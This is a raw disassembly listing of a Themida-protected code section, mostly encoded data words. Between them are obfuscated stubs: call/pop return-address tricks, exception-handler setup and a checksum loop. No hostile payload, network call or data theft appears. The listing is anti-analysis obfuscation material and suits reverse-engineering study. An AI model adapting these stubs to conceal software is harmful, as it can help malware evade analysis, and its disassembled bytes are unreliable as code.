pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BFC14 endp
; ---------------------------------------------------------------------------
dd 0AC1F646h, 2D563C15h, 90FABF0Fh, 0C2B35250h, 71BF310Fh
dd 5A048C6Dh, 0E9605058h, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h
dd 0B660726Bh, 61616005h, 95899061h, 6152D8Dh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 4055B7C3h, 821B3A29h, 9B42709h, 15059185h, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 77E9C353h, 63F2858Dh, 81660619h, 83CE24C7h
dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0B189C2C3h, 61F9D97Dh, 66525090h, 310FDF8Bh
dd 3800Fh, 8B660000h, 50585AFEh, 6A901EB7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F57BC356h
dd 1381BD8Bh, 6AFC0615h, 45B50900h, 6A061509h, 7995FF00h
dd 8B061526h, 152DF19Dh, 158D8D06h, 6A06189Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0B5BBC350h, 99FF4FC1h, 0D2D984F2h, 0BE9D1FFh, 0BE000000h
dd 90D3676Fh, 0C1385824h, 0BD83B874h, 6152DB5h, 0AA850F01h
dd 89000000h, 1512F1B5h, 0D3E78006h, 6A026Ah, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 27FD55C3h
dd 0E1B35028h, 5998509h, 50500615h, 8E85052h, 0EB000000h
dd 8204670Ah, 5B62880Ch, 66310F5Fh, 5A1981BFh, 24048958h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h
dd 9E956524h, 4D95FFF0h, 6A06151Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AD11C351h
dd 494ECF8Ch, 0B70FF5BCh, 68E0FF8h, 89000000h, 15156D85h
dd 0DADE906h, 0E80000h, 5D000000h, 63FCED81h, 6A0619h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0ED8976C3h, 0BD8B644Ch, 61502CDh, 3089BD8Bh, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0C15688C3h, 8F60FEAh, 0F9858DF8h, 6A061888h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 8AE2C352h, 0D6D5EA07h, 9501BE1Bh, 6150305h, 58E0F90h
dd 0BB000000h, 7100125Ah, 0F88B6650h, 35FF6490h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+6151D11h]
mov large fs:0, esp
mov [ebp+61502A5h], edi
mov bx, cx
inc dword ptr [ebp+6151535h]
mov ebx, 575AC7E3h
push 0FFFFFFFFh
push 0
push ebx
call sub_5BFEF6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFEF6 proc near ; CODE XREF: Themida_:005BFEEEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5BFEF6 endp
; ---------------------------------------------------------------------------
mov edi, 0FFC28017h
mov ch, 0Dh
db 2Eh
adc eax, 57006A06h
call sub_5BFF1B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFF1B proc near ; CODE XREF: Themida_:005BFF13p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5BFF1B endp
; ---------------------------------------------------------------------------
db 38h
dd 2951D825h, 150AB1B5h, 95FF5B06h, 61508BDh, 146E9h, 7E900h
dd 426E0000h, 78817F7h, 900B0F8h, 1511258Dh, 5170E606h
dd 2225BD89h, 0E45F0615h, 0A1BD8B71h, 3C061527h, 18830F61h
dd 0F000001h, 8B0FC8B6h, 10h, 0BE9h, 0C3FFB900h, 20F1FBA6h
dd 0CB3D0AF9h, 0EFD78166h, 6BA37h, 8B660000h, 7D8589DAh
dd 8B061505h, 9919BBC1h, 0E8C1044Dh, 0F766FC04h, 10E8E2h
dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0DE9E8F5h
dd 50000000h, 6C70374Bh, 0CBDAC72Dh, 38333106h, 29C82B5Bh
dd 150A9585h, 0B9BD8B06h, 8B061528h, 0EE9F8D1h, 60000000h
dd 2781B589h, 9D890615h, 61502E5h, 8D858B61h, 0E9061527h
dd 0Eh, 0D7E0F500h, 0F2963231h, 0DAB75ECBh, 0C0834B5Bh
dd 0C19D8B07h, 8306150Fh, 9D0100C0h, 6153389h, 830FD03Bh
dd 24h, 13850F60h, 0E9000000h, 0Eh, 5F54232Fh, 0A830C432h
dd 2BB4D215h, 61FC2D4Eh, 3EE9h, 0DF8B6600h, 4E18D8Bh, 83F80615h
dd 840F01E1h, 2Bh
; ---------------------------------------------------------------------------
loc_5C005C: ; DATA XREF: ___:off_443E9Co
jnz $+6
and dword ptr [ebp+61504E1h], 0FFFFFFFEh
adc bx, 0FF3Fh
mov [ebp+615278Dh], edx
push ecx
ja loc_5C0081
jl $+6
loc_5C0081: ; CODE XREF: Themida_:005C0075j
pop edi
jmp $+5
lea esi, [ebp+618F145h]
push 0
push ebp
call sub_5C0098
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0098 proc near ; CODE XREF: Themida_:005C0090p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C0098 endp
; ---------------------------------------------------------------------------
cmc
mov eax, ds:0A84CD19Bh
jmp loc_5C00C5
; ---------------------------------------------------------------------------
db 0FEh
dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h
db 4Ch
; ---------------------------------------------------------------------------
loc_5C00C5: ; CODE XREF: Themida_:005C00AEj
push 0
sub [ebp+61510FDh], eax
call dword ptr [ebp+6152E21h]
sub edi, [ebp+6152665h]
mov ecx, 882h
adc edi, 3E5F7CFAh
and ecx, 0FFFFFFFCh
push 0
push ebx
call sub_5C00F2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C00F2 proc near ; CODE XREF: Themida_:005C00EAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5C00F2 endp
; ---------------------------------------------------------------------------
lds ecx, [edx+66031440h]
mov edi, ecx
cld
push 0
push ebp
call sub_5C0116
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0116 proc near ; CODE XREF: Themida_:005C010Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C0116 endp
; ---------------------------------------------------------------------------
push ecx
db 2Eh
movsx edi, si
mov ebx, 662D1FD3h
mov eax, 0
mov edi, [ebp+61511A5h]
push esi
call sub_5C014D
cmc
or eax, 0F55B4CAAh
dec ecx
mov esi, ecx
adc cl, cl
pop ecx
; =============== S U B R O U T I N E =======================================
sub_5C014D proc near ; CODE XREF: Themida_:005C013Cp
cld
pop edi
pop ebx
mov edx, 0
mov ebx, esi
loc_5C0157: ; CODE XREF: sub_5C014D+14j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5C0157
mov edi, [ebp+61502C5h]
push 0
push ebx
call sub_5C0174
and [ebx-3Dh], bl
sub_5C014D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C0174 proc near ; CODE XREF: sub_5C014D+1Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5C0174 endp
; ---------------------------------------------------------------------------
dd 8DBB81C1h, 8FAACED1h, 0FC98D89h, 880D0615h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 81A0C355h, 8D4758DFh, 21958B49h, 66061527h
dd 0BDB2EF81h, 4CD8D8Bh, 0C7810615h, 3180CEE1h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 51B940C3h
dd 0E87B0310h, 0Eh, 9B2838B9h, 7EA68CCEh, 38BCB610h, 0AE8CB55h
dd 0C7000000h, 6D94D052h, 58686EB8h, 0B59529BCh, 5B061504h
dd 9D85315Bh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 4772C355h, 9C2721ABh
dd 0BD835EA7h, 61518A9h, 4B840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0ED92C353h, 0D25209A7h, 0B5295F7Bh, 61503CDh, 0B8h
dd 0B9BD8B00h, 8D06150Dh, 154F9E8Dh, 3860F06h, 80000000h
dd 0E1FF31CFh, 9C9BD8Bh, 0BD830615h, 6151115h, 5F840F00h
dd 56000004h, 5FDEBF0Fh, 1115BD83h, 0F010615h, 46884h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8E8BFFEh, 38000000h, 0A22B3882h, 0F08F7EDh
dd 1883h, 12E800h, 0F5E50000h, 3C07BC33h, 80B9E1A8h, 5A65C314h
dd 6AABFB2h, 9D335F5Fh, 61501DDh, 1115BD83h, 0F030615h
dd 3D686h, 91BD8B00h, 6006151Eh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0DEC35747h, 0ACFA62DEh, 22F2B766h
dd 8C66D98Ah, 0E18D89D9h, 80061526h, 6A04E1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 11E8C2C3h
dd 56000000h, 0FCE46AFDh, 8F5BDE29h, 494BB20Eh, 2C32F777h
dd 68A0Fh, 95290000h, 61511D5h, 0FC90A5Fh, 10084h, 0FA8B6600h
dd 249D858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0E24713C3h, 19B58533h, 6A0615h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0E276E7C3h, 0DCA3E9F1h, 0BFA3DCEAh, 6268DC06h, 89D98A50h
dd 8B662404h, 66006AF9h, 6851E3BFh, 9F7B96C6h, 5800Fh
dd 47BF0000h, 817B31A3h, 6D392404h, 6A60A3h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9BFB40C3h
dd 0FB683753h, 8AF74023h, 0AD95FFFEh, 6A06150Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0A995C355h, 13A4436h, 1526B585h, 99858906h, 0F0618BFh
dd 1985h, 14E900h, 0D82D0000h, 730CBB7Ah, 0F1392302h, 0F70BF796h
dd 3A598EE6h, 0A8E96AABh, 9000001h, 15098995h, 91858B06h
dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 293CC351h, 15168185h, 1800C706h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 5588C351h, 29B9C5Bh, 45C334BBh
dd 7E9h, 9FB70900h, 14D235D4h, 95B58BF8h, 8B0618BFh, 1507559Dh
dd 45858B06h, 6606150Ch, 8B75F5BBh, 152681BDh, 6A068906h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 7FBBC355h, 33C9BD0Bh, 0B5290615h, 6150C01h
dd 249D858Bh, 0BD8B0615h, 6152219h, 6A044689h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0B50FC352h, 7723C0EDh, 2F819D89h, 0E8500615h, 12h, 0A55A167h
dd 0F04DD021h, 0C69F1974h, 6BF89FEBh, 0F60DB0Bh, 82h, 10E800h
dd 0DB7D0000h, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah, 61597D21h
dd 2434895Fh, 0C686BB66h, 0BE7EF781h, 0B5FF7063h, 618BF91h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7DC35242h
dd 0BE0BE099h, 0BF72F59Ah, 48633D0Dh, 38BF6660h, 0EF8166B8h
dd 6861C225h, 0D3237BE2h, 5850Fh, 0C3BB0000h, 813F636Bh
dd 881D2404h, 80602CFBh, 0BD89C9EDh, 6152AD5h, 99858D61h
dd 310618BFh, 151411BDh, 840F5006h, 4, 6723BF66h, 8B240489h
dd 1506E1BDh, 0AD95FF06h, 6106150Dh, 0BE956h, 0B0150000h
dd 682C6585h, 0C3A44896h, 8B665BF5h, 1585C7DFh, 3061511h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 1CFCC353h, 5D53293Bh, 0AE85C47h
dd 0C0000000h, 5E060EDBh, 6A35DCC4h, 20BB66ECh, 0BD835F5Ch
dd 618BF99h, 50840F00h, 0E8000000h, 14h, 0C130933Fh, 0BA8B0DBCh
dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0BE9h, 5E219000h
dd 0F34F050Dh, 438CE125h, 3CE95Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816676C3h
dd 506222E3h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 50F28DC3h, 0BE409405h, 6AF9BF0Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0BA9CC355h, 870FF54Eh, 2, 0BD83F98Bh, 6151115h
dd 0F5850F03h, 8B000003h, 150E119Dh, 8E906h, 81770000h
dd 0C2B85191h, 0BD83099Fh, 618BF99h, 0D5840F00h, 0BF000003h
dd 39B2CD9Dh, 0BF99B5FFh, 5E90618h, 0A4000000h, 76CC2D5Bh
dd 10E195FFh, 0C7810615h, 46914E80h, 5E9h, 0BD81EB00h
dd 0B58B7D02h, 618BF8Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0D5C35343h, 2432FF62h, 106C7h, 0B5890001h
dd 6150CF5h, 0FB8B6696h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 3AFD26C3h, 0C3B96297h
dd 319D0138h, 8B061525h, 1514FDBDh, 99B5FF06h, 6A0618BFh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0BF2FC355h, 32A40981h, 674E856Bh, 6A195FFh
dd 9D890615h, 6150811h, 24599D29h, 0B58B0615h, 618BF8Dh
dd 858BDE8Bh, 6150059h, 8689D98Ah, 0C4h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 3821E246h
dd 0E94EC4C0h, 9, 98405E2Ah, 92A0E23Fh, 21958B0Ah, 83061527h
dd 0F6004C2h, 18Bh, 0DE8F900h, 0EE000000h, 694F5B9Eh, 4BCC70D7h
dd 6C376753h, 0DCC18166h, 89615FABh, 85892050h, 6152FF5h
dd 0D458858Dh, 0B5890618h, 61512ADh, 0B88689h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 29AB0FC3h, 5157EE23h, 0B850FC6h, 0F000000h, 58Ch, 709EBB00h
dd 6A50F9h, 0BF99B5FFh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 17A914C3h, 8E9h
dd 22118200h, 0A73ECFFCh, 718D2940h, 0FF06150Dh, 151D4D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 333A91A8h, 68D0FFBh, 89000000h, 1508B995h
dd 0D7816606h, 0B796EF30h, 0BF665077h, 33966BFBh, 152499BDh
dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0B5CC355h, 0F9BF0F5Ah
dd 48E38166h, 2995FFBBh, 6A061507h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ADC353h
dd 61FCFC60h, 65BD83h, 0F000615h, 4484h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0D88A5008h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F5C7C352h, 1F5333BBh
dd 99B5FF3Bh, 6A0618BFh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 33CC351h, 1514B5BDh
dd 958B6006h, 6152F81h, 2C71BD8Bh, 0FF610615h, 15043995h
dd 28E0F06h, 8B000000h, 99B5FFF9h, 6A0618BFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 81CAC356h, 0B70F376Eh, 0CD95FFD8h, 6A06150Dh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0E9CAC350h, 2C7DB589h, 0BD830615h, 615285Dh, 52840F02h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 523C350h, 48FF7885h, 8BC18147h
dd 15284985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 89957138h, 1511F99Dh, 0C606h, 0F585C7F9h
dd 61523h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 21E3C350h, 0E2B44B2Fh, 48518137h
dd 0FFF344E9h, 6AC18BFFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0F7DBC350h, 0C3AB99B6h
dd 2150EEB2h, 18F58589h
; ---------------------------------------------------------------------------
loc_5C0BD0: ; DATA XREF: Themida_:0057C30Co
; Themida_:0057C910o
adc eax, 858DF906h
popf
daa
adc eax, 52006A06h
call sub_5C0BE4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0BE4 proc near ; CODE XREF: Themida_:005C0BDCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5C0BE4 endp
; ---------------------------------------------------------------------------
dd 2850F51h, 8A000000h, 525050FCh, 6E8h, 8E492000h, 5BF4917Ah
dd 0FC8A310Fh, 489585Ah, 0BD335324h, 61510EDh, 6A006A5Bh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0B7A1C356h, 20E5D647h, 14F99D8Bh, 0EB800615h
dd 0B7006A60h, 0B858D51h, 6A061974h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F0AC353h
dd 0B840Fh, 6E90000h, 45000000h, 2054ED3h, 0DFBF0FF5h
dd 20CD9D89h, 0C0830615h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 7F551C4h, 15840Fh
dd 10E90000h, 58000000h, 2698E179h, 4C1BEC0Ch, 4EBF76FAh
dd 50A74F79h, 6820Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
mov [esp], eax
mov di, 0F95Bh
mov ebx, edi
push 0
push 0
push eax
call sub_5C0CEA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0CEA proc near ; CODE XREF: Themida_:005C0CE2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C0CEA endp
; ---------------------------------------------------------------------------
dw 6265h
; ---------------------------------------------------------------------------
adc bl, 5Dh
mov edi, eax
sub edi, 219D8F76h
push 0
mov ebx, [ebp+61518A5h]
call dword ptr [ebp+6152679h]
push 0
push ecx
call sub_5C0D20
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0D20 proc near ; CODE XREF: Themida_:005C0D18p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5C0D20 endp
; ---------------------------------------------------------------------------
dd 3AB6E6AFh, 71EDCC92h, 10E8h, 0AA4C6B00h, 75403175h
dd 3E7AAD5Fh, 3DEE69A4h, 48D0F47h, 66000000h, 5FA27EBFh
dd 9C158D8Dh, 9D8B0618h, 61516B9h, 6AD1FFh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 247F1BC3h
dd 0AA0F6E69h, 6830F36h, 3000000h, 1522599Dh, 0B5BD8306h
dd 106152Dh, 98850Fh, 8D890000h, 6151A35h, 8166026Ah, 505BBAE7h
dd 9E96060h, 32000000h, 7B91CBEBh, 3A5081D4h, 60615F50h
dd 0AE8h, 458B0600h, 0D8D781C5h, 5FEE2AE4h, 8E0Fh, 61610000h
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B3D8C356h, 0C4AED767h, 759D33ACh
dd 81061534h, 8E3B43C7h, 4D95FF3Ch, 6A06151Dh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 7EE3C352h, 18E8754Bh, 8A1F7825h, 7CE9FCDAh, 0E800000Dh
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6197415h
jns loc_5C0E5D
jns loc_5C0E5D
mov edi, [ebp+61518C5h]
loc_5C0E5D: ; CODE XREF: Themida_:005C0E4Bj
; Themida_:005C0E51j
jmp loc_5C0E68
; ---------------------------------------------------------------------------
dw 9637h
dd 3DAB63EDh
; ---------------------------------------------------------------------------
loc_5C0E68: ; CODE XREF: Themida_:loc_5C0E5Dj
stc
lea eax, [ebp+61888F9h]
push 0
push edx
call sub_5C0E7A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0E7A proc near ; CODE XREF: Themida_:005C0E72p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5C0E7A endp
; ---------------------------------------------------------------------------
dw 73D4h
dd 6E1225CAh, 12B5BD8Bh, 0E8900615h, 0Ch, 0D978B68h, 0CB020B44h
dd 7FBFCCEh, 505BC8B7h, 0D7F430BFh, 6A907Eh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0B55441C3h
dd 12631EA4h, 35FF644Ch, 0
; ---------------------------------------------------------------------------
mov di, cx
sub [ebp+61509C9h], ecx
mov large fs:0, esp
mov edi, 420EE822h
inc dword ptr [ebp+6151535h]
push 0
push esi
call sub_5C0F02
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0F02 proc near ; CODE XREF: Themida_:005C0EFAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C0F02 endp
; ---------------------------------------------------------------------------
dw 0DEAh
dd 0BF0BBF59h, 4CEF26CDh, 1041BD01h, 0FA8B0615h, 13E8FF6Ah
dd 5000000h, 0A59F0E12h, 7213CF07h, 0FD9647F7h, 0A6190D2Ah
dd 0B5894FE1h, 6152AEDh, 95B5FF5Fh, 6A061505h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 6D52C355h, 0DF537B6h, 0FF5B4CAAh, 1508BD95h, 14AE906h
dd 0B0F80000h, 0C820F00h, 0F000000h, 688h, 4DBD8B00h, 0E6061516h
dd 0C880F70h, 0F000000h, 687h, 3DBD8B00h, 0E406151Ah, 6870F71h
dd 29000000h, 150C4995h, 0F613C06h, 10B83h, 0FE8B6600h
dd 0E9C8B60Fh, 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 897182F3h
dd 151D59B5h, 6BA06h, 89500000h, 1507F98Dh, 8D895B06h
dd 6151A25h, 860FC18Bh, 0Bh, 5840Fh, 6ABB0000h, 5606E1DEh
dd 2E89BD8Bh, 0C15F0615h, 0BD8B04E8h, 6150C09h, 0BFE2F766h
dd 1E2268CCh, 0EE9h, 652100h, 77106531h, 0E7F71204h, 2B3254D8h
dd 0DB8166C8h, 0D18BA1F5h, 0BF7EC2BFh, 5E927h, 0A4BB0000h
dd 8B380D2Ch, 1519D185h, 0C083F506h, 0F88B6607h, 3300C083h
dd 1504A1BDh, 0FD03B06h, 2A83h, 7DB06000h, 2666DBBEh, 55E96157h
dd 0E9000000h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h
dd 0F05AF32Eh, 8BFE8B66h, 15108D8Dh, 0ADBD8906h, 8306150Bh
dd 840F01E1h, 24h, 27DBD89h, 0A5830615h, 615108Dh, 0A9BD8BFEh
dd 89061528h, 1519D195h, 0FD958906h, 0E9061510h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6190094h]
mov edi, 4756EDE5h
or [ebp+6152585h], ebx
push 0
push 0
push ecx
call sub_5C10E2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C10E2 proc near ; CODE XREF: Themida_:005C10DAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5C10E2 endp
; ---------------------------------------------------------------------------
dw 58B6h
dd 7EF89CCAh, 5BD8972h, 0FF06152Eh, 152E2195h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0F8FE606Fh, 71B9DF8Bh, 6A000009h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B97C357h
dd 78223524h, 7E92CA2h, 6E000000h, 4F0492A2h, 0E183C978h
dd 3800FFCh, 66000000h, 81FCD98Bh, 0DD3FF0D7h, 0B807h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0B6DA88C3h, 0BF0F5D46h, 0BADAh, 16B70000h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 6C35040h, 6AEAFA58h, 189D9D8Bh
dd 6AF90615h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 52C3C357h, 0D5F04B7h, 88h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DCC35343h, 0A9831F93h
dd 0D9397B64h, 2721958Bh, 0BB660615h, 8D8B439Dh, 61504CDh
dd 0DE9h, 0DA959900h, 0B093BF31h, 50CAB4F3h, 8B50704Dh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1CC35141h, 13F0DC8h
dd 56128A7Fh, 7ED8509h, 0E95F0615h, 0Ah, 0F3C09DBAh, 9C8E53C4h
dd 8B66E35Ch, 0A9BD83D8h, 61518h, 57840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0D98BF3C3h, 0B8h, 9E8D8D00h, 8B06154Fh, 152D81BDh, 6AE1FF06h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 3F32C352h, 8B512C1Ch, 152A759Dh, 15BD8306h
dd 61511h, 49F840Fh, 81660000h, 833922CBh, 151115BDh, 840F0106h
dd 4A8h, 0BD83F98Bh, 6151115h, 63860F03h, 6A000004h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 43FFC357h, 487C0E71h, 8589C75Ah, 6151315h, 2D8529h
dd 1600615h, 15346195h, 0D98C6606h, 23359D89h, 80FC0615h
dd 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 269493C3h, 0B7B32800h, 959D8999h, 66061528h
dd 0A7975BBh, 6A840FC9h, 6A000001h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0DDAEC351h
dd 604BC085h, 6880Fh, 0BD890000h, 61506C9h, 8B615E53h
dd 15249D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 8E4FEA81h, 0B58533A0h, 6A061519h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 41D2C355h, 54E442BDh, 0F5F4C6Eh, 13E9FEB7h
dd 9F000000h, 0CF081855h, 5C6FEDEAh, 18647844h, 81C409E1h
dd 8950FBA0h, 85892404h, 61501C1h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0FEC971C3h
dd 0CF3280A7h, 4E8F014h, 0FF000000h, 8B001F03h, 505350DEh
